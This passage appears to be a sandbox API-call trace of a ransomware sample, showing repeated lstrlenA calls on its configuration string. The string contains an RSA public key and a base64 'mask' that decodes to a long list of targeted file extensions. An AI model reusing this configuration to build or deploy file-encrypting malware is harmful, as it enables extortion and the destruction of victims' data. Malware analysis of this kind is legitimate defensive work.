ZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLn